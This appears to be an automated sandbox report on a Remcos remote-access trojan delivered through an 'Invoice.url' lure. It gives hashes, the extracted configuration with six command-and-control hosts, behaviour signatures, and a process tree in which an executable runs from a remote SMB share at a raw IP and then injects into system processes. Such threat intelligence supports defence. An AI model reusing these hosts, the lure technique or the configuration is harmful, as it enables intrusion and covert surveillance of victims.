Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2023 11:56

General

  • Target

    Invoice.url

  • Size

    198B

  • MD5

    90962de04e13d0f8e7b96a094ec6b77a

  • SHA1

    4907eebd8f643e128a3c597ebe7dd0d302d9ff04

  • SHA256

    b13b262720b806604e486ff0022ac3ebdd2f67484e5c9c53326c8ffde3d7f9a7

  • SHA512

    c2b7d016c170d8adbbce57c17cba32da64ff51527c4b5375bf5f7c885c3033a55e4e859091979e03420a010a9b90cddc31e2c72000732b66fba4904952e2e902

Score
10/10

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

listpoints.online:6090

retghrtgwtrgtg.bounceme.net:3839

listpoints.click:7020

datastream.myvnc.com:5225

gservicese.com:2718

center.onthewifi.com:8118

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    explorer.exe

  • delete_file

    false

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-BXAQVH

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Invoice.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3904
    • \??\UNC\62.173.141.116\scarica\paypal_inv.exe
      "\\62.173.141.116\scarica\paypal_inv.exe"
      2⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1240
    • C:\Users\Admin\AppData\Roaming\comChrome_Nfs\WebCopier.exe
      C:\Users\Admin\AppData\Roaming\comChrome_Nfs\WebCopier.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1904
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\SysWOW64\cmd.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          4⤵
            PID:1860

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\22568ba2

      Filesize

      1.1MB

      MD5

      f7f347d05f4688863e801cdffbf80538

      SHA1

      6256c3a1039088b8d385af6a96b487567271321c

      SHA256

      c987befb13116536067934d95bb07dbe7c44f178f3101515366e7edf5dfc5b2e

      SHA512

      2629630fb31b901fde9dec1125d7c503db00eb8721c4f0b36389bd9acb63f64ded2867911c01dc0b9aebb9cba41fe9e3af269a3768a6517da7676e6517949eb6

    • C:\Users\Admin\AppData\Roaming\comChrome_Nfs\WCUtil.dll

      Filesize

      180KB

      MD5

      df325be796f564612fad20f093401681

      SHA1

      e50a37882e04e0670c0d14d5d73f6592bec81552

      SHA256

      5979955386d91abfd63e7331c0ff5142b3a70221cefbb9e07dd8eaa0ed170f29

      SHA512

      ae46d39a00ad89ee34396da264135347acf50024ddf5fe27920e757f346d126181d8ef1fa360e0b55f47701782bcee48f5c530eae04f8b08463b2a3243baa146

    • C:\Users\Admin\AppData\Roaming\comChrome_Nfs\WCUtil.dll

      Filesize

      180KB

      MD5

      df325be796f564612fad20f093401681

      SHA1

      e50a37882e04e0670c0d14d5d73f6592bec81552

      SHA256

      5979955386d91abfd63e7331c0ff5142b3a70221cefbb9e07dd8eaa0ed170f29

      SHA512

      ae46d39a00ad89ee34396da264135347acf50024ddf5fe27920e757f346d126181d8ef1fa360e0b55f47701782bcee48f5c530eae04f8b08463b2a3243baa146

    • C:\Users\Admin\AppData\Roaming\comChrome_Nfs\WebCopier.exe

      Filesize

      7.2MB

      MD5

      e2a27870ba4da90df6276c4da9e3cf82

      SHA1

      cd0a17f6ddc7b4994d98f26848c3a2d7dae74e68

      SHA256

      9f1bb79ef7d76e5dddc628d0455c1f6a6aa068cc210f1d238a231f77ac9cbba2

      SHA512

      66c4d8d1c6cb45a6c10cbb16d4388858980e7bc4f57fb88dc2a3b7b8fc6da82dba3e9b1bfd33ea4c25a7afd5612c2823915e5f0759728cccfe81bd4f99afc235

    • C:\Users\Admin\AppData\Roaming\comChrome_Nfs\WebCopier.exe

      Filesize

      7.2MB

      MD5

      e2a27870ba4da90df6276c4da9e3cf82

      SHA1

      cd0a17f6ddc7b4994d98f26848c3a2d7dae74e68

      SHA256

      9f1bb79ef7d76e5dddc628d0455c1f6a6aa068cc210f1d238a231f77ac9cbba2

      SHA512

      66c4d8d1c6cb45a6c10cbb16d4388858980e7bc4f57fb88dc2a3b7b8fc6da82dba3e9b1bfd33ea4c25a7afd5612c2823915e5f0759728cccfe81bd4f99afc235

    • C:\Users\Admin\AppData\Roaming\comChrome_Nfs\paralanguage.xlsx

      Filesize

      925KB

      MD5

      88f6ebdba373e3ea7218ca40d07b0058

      SHA1

      e28a68cfd482a8d382497c7ffdb9439dfe46de4e

      SHA256

      f7e22baa1f846aa30d72f9d3cbfb239faa3eaf767438cdeadc6b8f7e6aa4408a

      SHA512

      6e36bebda6d036d67f48720d5e78333610ecd5f22cb2d8c8196a14d3611ce6be7f558075c933b5beea79479bf65fb61ffefd366ac694cc77ab0d60d1feca8abe

    • memory/1240-20-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1240-5-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1240-4-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1240-0-0x0000000000400000-0x0000000000C1A000-memory.dmp

      Filesize

      8.1MB

    • memory/1240-2-0x00007FFD2FB50000-0x00007FFD2FD45000-memory.dmp

      Filesize

      2.0MB

    • memory/1240-10-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1240-1-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1860-35-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-39-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-42-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-41-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-40-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-43-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-38-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-37-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-36-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-31-0x00007FFD2FB50000-0x00007FFD2FD45000-memory.dmp

      Filesize

      2.0MB

    • memory/1860-32-0x0000000000400000-0x0000000000483000-memory.dmp

      Filesize

      524KB

    • memory/1860-34-0x00000000007E0000-0x0000000000C13000-memory.dmp

      Filesize

      4.2MB

    • memory/1904-19-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1904-17-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/1904-18-0x00007FFD2FB50000-0x00007FFD2FD45000-memory.dmp

      Filesize

      2.0MB

    • memory/1904-21-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/2784-27-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/2784-30-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/2784-28-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/2784-23-0x0000000073F80000-0x00000000740FB000-memory.dmp

      Filesize

      1.5MB

    • memory/2784-25-0x00007FFD2FB50000-0x00007FFD2FD45000-memory.dmp

      Filesize

      2.0MB